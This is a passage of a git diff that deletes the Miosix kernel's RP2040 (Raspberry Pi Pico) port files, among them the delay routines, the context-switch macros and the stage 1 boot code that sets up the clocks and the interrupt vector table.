r0-r3,r12,lr,pc,xPSR and -/// old sp are saved by hardware on the process stack on Cortex M3 CPUs. -const unsigned char CTXSAVE_SIZE=9; - -/// \internal some architectures save part of the context on their stack. -/// This constant is used to increase the stack size by the size of context -/// save frame. If zero, this architecture does not save anything on stack -/// during context save. Size is in bytes, not words. -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=32; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index a4c832207..000000000 --- a/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#pragma once - -#include "../rp2040/hardware/rp2040.h" -#include "../rp2040/hardware/properties.h" -#include "../rp2040/hardware/platform.h" -#if defined(BOARD_VARIANT_PICO) -#include "../rp2040/hardware/boards/pico.h" -#elif defined(BOARD_VARIANT_PICO_W) -#include "../rp2040/hardware/boards/pico_w.h" -#else -#error "Unknown board variant" -#endif diff --git a/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/delays.cpp deleted file mode 100644 index 91ab7856f..000000000 --- a/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,72 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include -#include "interfaces/delays.h" - -namespace miosix { - -static inline __attribute__((always_inline)) void delayUsImpl(unsigned int us) -{ - if (us == 0) return; -#if CLK_SYS_FREQ == 133000000 - // 7 cycles per iteration @ 133 MHz = 1/19 us per iteration - uint32_t iter_count = us*19-2; - asm volatile( - ".align 2 \n" - "1: nop \n" - " nop \n" - " nop \n" - " sub %0, #1\n" - " cmp %0, #0\n" - " bne 1b \n":"+r"(iter_count)::"cc"); -#elif CLK_SYS_FREQ == 125000000 - // 5 cycles per iteration @ 125 MHz = 1/25 us per iteration - uint32_t iter_count = us*25-2; - asm volatile( - ".align 2 \n" - "1: nop \n" - " sub %0, #1\n" - " cmp %0, #0\n" - " bne 1b \n":"+r"(iter_count)::"cc"); -#else - #error "Unsupported sys_clk" -#endif -} - -void delayUs(unsigned int us) -{ - delayUsImpl(us); -} - -void delayMs(unsigned int ms) -{ - for (; ms!=0; ms--) delayUsImpl(1000); -} - -} //namespace miosix - diff --git a/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/gpio_impl.h b/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/gpio_impl.h deleted file mode 100644 index ceef214c4..000000000 --- a/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/gpio_impl.h +++ /dev/null @@ -1,30 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -#include "drivers/rp2040_gpio.h" diff --git a/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/portability.cpp deleted file mode 100644 index 434bd17db..000000000 --- a/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,120 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - miosix::Thread::IRQstackOverflowCheck(); - miosix::Scheduler::IRQfindNextThread(); -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized -} - -void IRQportableStartKernel() -{ - // FIXME: on M0 we cannot disable interrupt preemption: all IRQs must - // have the same priority, otherwise everything breaks! - // As a convention we choose a priority of 3, which is the *lowest* one. - // This counterintuitive setting allows for higher-priority handlers as long - // as they do NOT perform context switches and are fully reentrant. - // However such an interrupt handler is in practice impossible for Miosix, - // as at the moment IRQ contexts are assumed to be in mutual exclusion. - // This will be fixable once we funnel all context switches to PendSV and - // after we introduce SMP support. - NVIC_SetPriority(SVCall_IRQn,3); // highest priority=0, lowest=3 - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not mathced - //by a call to disableInterrupts() - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/portability_impl.h deleted file mode 100644 index 87f34257b..000000000 --- a/miosix/arch/cortexM0plus_rp2040/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,166 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ - -#define saveContext() \ -{ \ - asm volatile("push {lr} \n\t" /*save lr on MAIN stack*/ \ - "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ - "ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "stmia r0!, {r1,r4-r7} \n\t" /*save PROCESS sp + r4-r7*/ \ - "mov r4, r8 \n\t" \ - "mov r5, r9 \n\t" \ - "mov r6, r10 \n\t" \ - "mov r7, r11 \n\t" \ - "stmia r0!, {r4-r7} \n\t" \ - "dmb \n\t" \ - ); \ -} - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ - -#define restoreContext() \ -{ \ - asm volatile("ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "ldmia r0!, {r1,r4-r7} \n\t" /*pop r8-r11 saving in r4-r7*/ \ - "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ - "ldmia r0, {r0-r3} \n\t" \ - "mov r8, r0 \n\t" \ - "mov r9, r1 \n\t" \ - "mov r10, r2 \n\t" \ - "mov r11, r3 \n\t" \ - "pop {pc} \n\t" /*return*/ \ - ); \ -} - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/core/stage_1_boot.cpp b/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/core/stage_1_boot.cpp deleted file mode 100644 index 5bd1dfcfb..000000000 --- a/miosix/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/core/stage_1_boot.cpp +++ /dev/null @@ -1,453 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/* - * System initialization code for RP2040 - * Partially based on code from the Raspberry Pi Pico SDK - * - * The RP2040 boot process consists of three stages: - * Stage 1: Bootloader in ROM does basic system initialization. If BOOTSEL is - * not set, loads stage 2 and jumps to it. - * Stage 2: Stored in the first 256 bytes of flash. Configures XIP peripheral - * for the specific FLASH chip used, then jumps to stage 3. Source - * code for stage 2 is in common/rp2040/pre_boot. - * Stage 3: This file. - * - * Miosix however numbers its own boot stages starting from 1 for this file, - * so we consider RP2040 stage 1 and stage 2 as "Miosix preboot". - */ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -void Reset_Handler() __attribute__((__interrupt__, naked, noreturn)); -void programStartup() __attribute__((noreturn)); -void clockTreeSetup(); - -/** - * ELF entry point. Goes back through bootrom + boot2 to properly initialise - * flash from scratch. - */ -extern "C" __attribute__((naked, noreturn)) void entryPoint() -{ - asm volatile( - "movs r0, #0 \n" - "ldr r1, =0xe000ed08 \n" - "str r0, [r1] \n" // Reinitialize VTOR to 0 (ROM vector table) - "ldmia r0!, {r1, r2} \n" // Load initial entry point and SP in R1,R2 - "msr msp, r1 \n" // Reset stack pointer - "bx r2 \n" // Jump to ROM - :::"r0","r1","r2","cc"); -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() -{ - /* - * Check if we are core 0. If it's not the case, go back to the bootrom. - * This should not be necessary, but the Pico SDK does this check to play it - * safe... - */ - asm volatile( - " ldr r0, =0xd0000000 \n" // 0xd0000000 = SIO CPUID - " ldr r0, [r0] \n" - " cmp r0, #0 \n" // Is it core zero? - " beq 1f \n" // Yes: all OK, continue - " movs r3, #20 \n" // No: go back to bootrom - " ldrh r3, [r3, #4] \n" // R3 = addr of rom_func_lookup - " ldrh r0, [r3, #0] \n" // arg0 = function table address - " ldr r1, = 'W' | ('V' << 8) \n" // arg1 = function code for _wait_for_vector - " blx r3 \n" // Call rom_func_lookup, returns address of _wait_for_vector in R0 - " bx r0 \n" // Jump to _wait_for_vector. Does not return - "1: \n" - :::"r0","cc"); - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile( - "ldr r0, =_heap_end \n" - "msr psp, r0 \n" - "movs r0, #2 \n" //Privileged, process stack - "msr control, r0 \n" - "isb \n" - :::"r0","cc"); - - programStartup(); -} - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void programStartup() -{ - //Cortex-M0 appears to get out of reset with interrupts already enabled. - //Amazingly, even though we went through the bootrom and the flash - //bootloader, interrupts are STILL enabled! - __disable_irq(); - - //Initialize the system *before* initializing .data and zeroing .bss. - //Usually the opposite is done, as there is no guarantee C code works - //properly if those memory areas are not properly initialized. - //However, there are three good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed - - //On RP2040 this function is empty, as they do not really support CMSIS - //properly. We do everyting ourselves. - //SystemInit(); - - // Reset all peripherals to put system into a known state, - // - except for QSPI pads and the XIP IO bank, as this is fatal if running from flash - // - and the PLLs, as this is fatal if clock muxing has not been reset on this boot - // - and USB, syscfg, as this disturbs USB-to-SWD on core 1 - reset_block(~(RESETS_RESET_IO_QSPI_BITS | RESETS_RESET_PADS_QSPI_BITS | - RESETS_RESET_PLL_USB_BITS | RESETS_RESET_USBCTRL_BITS | - RESETS_RESET_SYSCFG_BITS | RESETS_RESET_PLL_SYS_BITS)); - // Remove reset from peripherals which are clocked only by clk_sys and - // clk_ref. Other peripherals stay in reset until we've configured clocks. - unreset_block_wait(RESETS_RESET_BITS & ~(RESETS_RESET_ADC_BITS | - RESETS_RESET_RTC_BITS | RESETS_RESET_SPI0_BITS | - RESETS_RESET_SPI1_BITS | RESETS_RESET_UART0_BITS | - RESETS_RESET_UART1_BITS | RESETS_RESET_USBCTRL_BITS)); - - // Setup clock generation - clockTreeSetup(); - - // Peripheral clocks should now all be running, turn on basic peripherals - unreset_block_wait(RESETS_RESET_SYSINFO_BITS | - RESETS_RESET_SYSCFG_BITS | RESETS_RESET_BUSCTRL_BITS); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - // Update SystemCoreClock - SystemCoreClock = CLK_SYS_FREQ; - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/// Configure the XOSC peripheral -static void xoscInit(void) -{ - xosc_hw->ctrl = XOSC_CTRL_FREQ_RANGE_VALUE_1_15MHZ; - xosc_hw->startup = ((XOSC_FREQ / 1000) + 128) / 256; // Startup wait ~= 1ms - hw_set_bits(&xosc_hw->ctrl, XOSC_CTRL_ENABLE_VALUE_ENABLE<status & XOSC_STATUS_STABLE_BITS)); -} - -/// Configure a specific PLL -static void pllInit(pll_hw_t *pll, uint32_t refdiv, uint32_t fbdiv, - uint32_t post_div1, uint32_t post_div2) -{ - // Reset the PLL - uint32_t pll_reset = (pll_usb_hw==pll)? RESETS_RESET_PLL_USB_BITS: - RESETS_RESET_PLL_SYS_BITS; - reset_block(pll_reset); - unreset_block_wait(pll_reset); - // Load VCO-related dividers before starting VCO - pll->cs = refdiv; - pll->fbdiv_int = fbdiv; - // Turn on PLL - hw_clear_bits(&pll->pwr, PLL_PWR_PD_BITS | PLL_PWR_VCOPD_BITS); - // Wait for PLL to lock - while (!(pll->cs & PLL_CS_LOCK_BITS)); - // Setup and turn on post divider - pll->prim = (post_div1<pwr, PLL_PWR_POSTDIVPD_BITS); -} - -/// Configure a clock generator device with glitchless mux -static void glitchlessClockInit(enum clock_index clk_index, - uint32_t src, uint32_t auxsrc, uint32_t div) -{ - clock_hw_t *clock = &clocks_hw->clk[clk_index]; - div = div << CLOCKS_CLK_GPOUT0_DIV_INT_LSB; - // If increasing divisor, set divisor before source. Otherwise set source - // before divisor. This avoids a momentary overspeed when e.g. switching - // to a faster source and increasing divisor to compensate. - if (div > clock->div) - clock->div = div; - // If switching a glitchless slice (ref or sys) to an aux source, switch - // away from aux *first* to avoid passing glitches when changing aux mux. - // Assume (!!!) glitchless source 0 is no faster than the aux source. - if (src == CLOCKS_CLK_SYS_CTRL_SRC_VALUE_CLKSRC_CLK_SYS_AUX) - { - hw_clear_bits(&clock->ctrl, CLOCKS_CLK_REF_CTRL_SRC_BITS); - while (!(clock->selected & 1u)) {} - } - // Set aux mux first, and then glitchless mux - hw_write_masked(&clock->ctrl, - (auxsrc << CLOCKS_CLK_SYS_CTRL_AUXSRC_LSB), - CLOCKS_CLK_SYS_CTRL_AUXSRC_BITS); - hw_write_masked(&clock->ctrl, - src << CLOCKS_CLK_REF_CTRL_SRC_LSB, - CLOCKS_CLK_REF_CTRL_SRC_BITS); - while (!(clock->selected & (1u << src))) {} - // Now that the source is configured, we can trust that the user-supplied - // divisor is a safe value. - clock->div = div; -} - -/// Configure a clock generator device without glitchless mux -static void clockInit(enum clock_index clk_index, uint32_t auxsrc, uint32_t div) -{ - clock_hw_t *clock = &clocks_hw->clk[clk_index]; - div = div << CLOCKS_CLK_GPOUT0_DIV_INT_LSB; - // If increasing divisor, set divisor before source. Otherwise set source - // before divisor. This avoids a momentary overspeed when e.g. switching - // to a faster source and increasing divisor to compensate. - if (div > clock->div) - clock->div = div; - // Cleanly stop the clock to avoid glitches propagating when - // changing aux mux. - hw_clear_bits(&clock->ctrl, CLOCKS_CLK_GPOUT0_CTRL_ENABLE_BITS); - // Delay for around 200 cycles to ensure the clock propagated. - // We consider a worst case scenario where the CPU clock is clocked at the - // full 125MHz and the clock to configure is clocked at 1MHz - for (int i=0; i<200; i++) asm(""); - // Set aux mux - hw_write_masked(&clock->ctrl, - (auxsrc << CLOCKS_CLK_SYS_CTRL_AUXSRC_LSB), - CLOCKS_CLK_SYS_CTRL_AUXSRC_BITS); - // Enable clock. - hw_set_bits(&clock->ctrl, CLOCKS_CLK_GPOUT0_CTRL_ENABLE_BITS); - // Now that the source is configured, we can trust that the user-supplied - // divisor is a safe value. - clock->div = div; -} - -void clockTreeSetup(void) -{ - // Disable "resuscitator" and enable xosc - clocks_hw->resus.ctrl = 0; - xoscInit(); - - // Before we touch PLLs, switch sys and ref cleanly away from their aux sources. - hw_clear_bits(&clocks_hw->clk[clk_sys].ctrl, CLOCKS_CLK_SYS_CTRL_SRC_BITS); - while (clocks_hw->clk[clk_sys].selected != 0x1); - hw_clear_bits(&clocks_hw->clk[clk_ref].ctrl, CLOCKS_CLK_REF_CTRL_SRC_BITS); - while (clocks_hw->clk[clk_ref].selected != 0x1); - // Setup SYS PLL to CLK_SYS_FREQ rounded to the nearest MHz - // VCO frequency (fb_div * XOSC_FREQ) must be >= 750MHz - static_assert((CLK_SYS_FREQ / 1000000) * XOSC_FREQ >= 750, "CLK_SYS_FREQ too slow"); - // SYS PLL = 12MHz * (CLK_SYS_FREQ/1000000) / 6 / 2 ~= CLK_SYS_FREQ - pllInit(pll_sys_hw, 1, CLK_SYS_FREQ/1000000, 6, 2); - // USB PLL = 12MHz * 64 / 4 / 4 = 48 MHz - pllInit(pll_usb_hw, 1, 64, 4, 4); - - // Configure clocks: - // CLK_REF = XOSC (usually) 12MHz / 1 = 12MHz - glitchlessClockInit(clk_ref, - CLOCKS_CLK_REF_CTRL_SRC_VALUE_CLKSRC_CLK_REF_AUX, - CLOCKS_CLK_REF_CTRL_AUXSRC_VALUE_CLKSRC_PLL_USB, 1); - // Enable watchdog tick timer (also used by timer peripheral) - // Frequency: 12MHz (clk_ref) / 12 = 1MHz - watchdog_hw->tick = WATCHDOG_TICK_ENABLE_BITS | 1; - // CLK SYS = PLL SYS (usually) 125MHz / 1 = 125MHz - glitchlessClockInit(clk_sys, - CLOCKS_CLK_SYS_CTRL_SRC_VALUE_CLKSRC_CLK_SYS_AUX, - CLOCKS_CLK_SYS_CTRL_AUXSRC_VALUE_CLKSRC_PLL_SYS, 1); - // CLK USB = PLL USB 48MHz / 1 = 48MHz - clockInit(clk_usb, CLOCKS_CLK_USB_CTRL_AUXSRC_VALUE_CLKSRC_PLL_USB, 1); - // CLK ADC = PLL USB 48MHZ / 1 = 48MHz - clockInit(clk_adc, CLOCKS_CLK_ADC_CTRL_AUXSRC_VALUE_CLKSRC_PLL_USB, 1); - // CLK RTC = PLL USB 48MHz / 1024 = 46875Hz - clockInit(clk_rtc, CLOCKS_CLK_RTC_CTRL_AUXSRC_VALUE_CLKSRC_PLL_USB, 1024); - // CLK PERI = clk_sys. - clockInit(clk_peri, CLOCKS_CLK_PERI_CTRL_AUXSRC_VALUE_CLK_SYS, 1); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); - -// These system handlers are present in Miosix but not supported by the -// architecture, so are defined as weak -// void __attribute__((weak)) MemManage_Handler(); -// void __attribute__((weak)) BusFault_Handler(); -// void __attribute__((weak)) UsageFault_Handler(); -// void __attribute__((weak)) DebugMon_Handler(); - -//Interrupt handlers -void __attribute__((weak)) SysTick_Handler(); -void __attribute__((weak)) TIMER_IRQ_0_Handler(); -void __attribute__((weak)) TIMER_IRQ_1_Handler(); -void __attribute__((weak)) TIMER_IRQ_2_Handler(); -void __attribute__((weak)) TIMER_IRQ_3_Handler(); -void __attribute__((weak)) PWM_IRQ_WRAP_Handler(); -void __attribute__((weak)) USBCTRL_IRQ_Handler(); -void __attribute__((weak)) XIP_IRQ_Handler(); -void __attribute__((weak)) PIO0_IRQ_0_Handler(); -void __attribute__((weak)) PIO0_IRQ_1_Handler(); -void __attribute__((weak)) PIO1_IRQ_0_Handler(); -void __attribute__((weak)) PIO1_IRQ_1_Handler(); -void __attribute__((weak)) DMA_IRQ_0_Handler(); -void __attribute__((weak)) DMA_IRQ_1_Handler(); -void __attribute__((weak)) IO_IRQ_BANK0_Handler(); -void __attribute__((weak)) IO_IRQ_QSPI_Handler(); -void __attribute__((weak)) SIO_IRQ_PROC0_Handler(); -void __attribute__((weak)) SIO_IRQ_PROC1_Handler(); -void __attribute__((weak)) CLOCKS_IRQ_Handler(); -void __attribute__((weak)) SPI0_IRQ_Handler(); -void __attribute__((weak)) SPI1_IRQ_Handler(); -void __attribute__((weak)) UART0_IRQ_Handler(); -void __attribute__((weak)) UART1_IRQ_Handler(); -void __attribute__((weak)) ADC_IRQ_FIFO_Handler(); -void __attribute__((weak)) I2C0_IRQ_Handler(); -void __attribute__((weak)) I2C1_IRQ_Handler(); -void __attribute__((weak)) RTC_IRQ_Handler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Include the RP2040 flash stage 2 pre-built bootloader binary. -//Boot2 is also responsible for pointing VTOR to our interrupt table. -#include - -//Interrupt vectors -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - TIMER_IRQ_0_Handler, - TIMER_IRQ_1_Handler, - TIMER_IRQ_2_Handler, - TIMER_IRQ_3_Handler, - PWM_IRQ_WRAP_Handler, - USBCTRL_IRQ_Handler, - XIP_IRQ_Handler, - PIO0_IRQ_0_Handler, - PIO0_IRQ_1_Handler, - PIO1_IRQ_0_Handler, - PIO1_IRQ_1_Handler, - DMA_IRQ_0_Handler, - DMA_IRQ_1_Handler, - IO_IRQ_BANK0_Handler, - IO_IRQ_QSPI_Handler, - SIO_IRQ_PROC0_Handler, - SIO_IRQ_PROC1_Handler, - CLOCKS_IRQ_Handler, - SPI0_IRQ_Handler, - SPI1_IRQ_Handler, - UART0_IRQ_Handler, - UART1_IRQ_Handler, - ADC_IRQ_FIFO_Handler, - I2C0_IRQ_Handler, - I2C1_IRQ_Handler, - 